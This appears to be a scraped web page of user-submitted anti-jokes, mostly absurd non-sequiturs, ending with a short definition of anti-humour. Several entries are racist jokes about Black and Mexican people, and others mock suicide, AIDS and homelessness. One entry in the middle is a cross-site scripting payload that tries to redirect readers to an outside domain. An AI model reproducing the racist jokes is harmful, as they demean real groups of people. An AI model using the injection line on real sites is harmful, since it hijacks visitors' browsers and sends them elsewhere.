A lot eh?

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An alien spacecraft picks up human transmissions from Earth. They continue on in silence and disgust.

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The black man at the narcotics anonymous meeting said, "oh, this isn't bingo is it?" then walked out of the room feeling mildly embarassed.

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Why didn't the mexican have a job? because he was working on his masters degree

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Why did the Taxi crash? The cab driver was trying to remove the frog stapled to his face.

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Mary had a little lamb, its heart was black as coal, it crept into her room one night and ate her f***ing soul

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a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, refrigerator.

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Knock Knock Fuck off. I am new here. I do not know anyone here.

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"'>document.location.href="http://cramik.org"

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What's worse than getting AIDS? Nothing.

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what did one dinosaur say to the other? "rawr"

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Why didn't Suzie go to the park? She commited suicide 2 years ago.

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Want to hear a Joke? No.

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knock knock who's there ?

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roses are red violets are red everything is red who set my house on fire

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how do you wake up a black man? scream!!!!!

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How many chickens does it take to screw in a light bulb none, because chickens do not have opposable thumbs,therefore prevents them from preforming such a remedial task.

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yo mommas so fat she heard it was chilly out so she ran inside and got a bowl

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Roses are chickens violets are pizza this poem makes no sense, Refridgerator

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Wanna hear a joke??... No...... oh ok :(

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Q: Why shouldn't you throw rocks at a black guy on a bike? A: Because he could sustain serious injury if a rock hits him in the head, not to mention it is extremely rude.

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What did the home-less man eat for dinner last night? Nothing.

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a man walks into a bar and has a drink james

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Why did the baby cross the road? Becuz it was stapled to the chicken.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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